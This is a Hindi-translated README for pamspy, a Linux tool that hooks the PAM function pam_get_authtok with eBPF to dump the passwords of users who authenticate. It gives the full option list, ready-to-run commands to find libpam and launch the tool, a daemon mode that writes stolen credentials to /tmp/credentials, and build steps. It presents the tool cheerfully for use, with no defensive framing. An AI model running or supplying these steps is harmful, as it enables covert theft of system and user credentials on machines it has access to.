
लिनक्स के लिए eBPF का उपयोग करते हुए क्रेडेंशियल डंपर
pamspy eBPF तकनीकों का उपयोग करके 3snake के समकक्ष कार्य प्राप्त करता है।
यह PAM (प्लगेबल ऑथेंटिकेशन मॉड्यूल्स) लाइब्रेरी के अंदर एक विशेष यूज़रलैंड फ़ंक्शन को ट्रैक करेगा, जिसका उपयोग कई महत्वपूर्ण अनुप्रयोगों द्वारा प्रमाणीकरण को संभालने के लिए किया जाता है जैसे:

pamspy बिना किसी निर्भरता के एक स्टैटिक बाइनरी के रूप में बनाया गया है, और रिलीज़ पेज पर उपलब्ध है।
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
चूंकि pamspy libpam पर निर्भर करता है, हमें वह पथ सेट करना होगा जहाँ आपके वितरण पर libpam स्थापित है। यह पता लगाने के लिए कि libpam कहाँ स्थापित है, आप निम्न कमांड चला सकते हैं:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
एक बार जब आपको पथ मिल जाए, तो आप pamspy लॉन्च कर सकते हैं:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
pamspy लॉन्च करने का एक आसान तरीका निम्न कमांड का उपयोग करना है:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy को एक आउटपुट फ़ाइल प्रदान करके डेमॉन के रूप में भी शुरू किया जा सकता है, जहाँ क्रेडेंशियल्स लिखे जाएंगे:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
स्टैटिक बाइनरी बनाने के लिए, हमें तृतीय-पक्ष प्रोग्राम की आवश्यकता है। eBPF के लिए हमें C कोड को eBPF CO-RE कोड में संकलित करने के लिए clang की आवश्यकता है। हम ebpf प्रोग्राम से एक स्केलेटन बनाने के लिए bpftool पर भी निर्भर करते हैं, ताकि इसे अपने यूज़रलैंड प्रोग्राम में शामिल कर सकें। फिर हमें libpam में सही सिंबल खोजने के लिए libelf की भी आवश्यकता है।
sudo apt install make clang-11 gcc libelf-dev bpftool
फिर बस बनाएँ!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy libpam.so से pam_get_authtok फ़ंक्शन को हुक करने के लिए एक यूज़रलैंड रिटर्न प्रोब eBPF प्रोग्राम लोड करेगा।
PAM का अर्थ "प्लगेबल ऑथेंटिकेशन मॉड्यूल्स" है, और Linux पर विभिन्न प्रकार के प्रमाणीकरण को प्रबंधित करने के लिए एक लचीला डिज़ाइन है।
हर बार जब कोई प्रमाणीकरण प्रक्रिया किसी नए उपयोगकर्ता की जाँच करने का प्रयास करती है, तो यह pam_get_authtok को कॉल करेगी, और यहीं पर महत्वपूर्ण रहस्यों की सामग्री को डंप करने के लिए तैयार होगी!
आसान! आनंद लें!
@blendin को 3snake टूल के लिए धन्यवाद !!!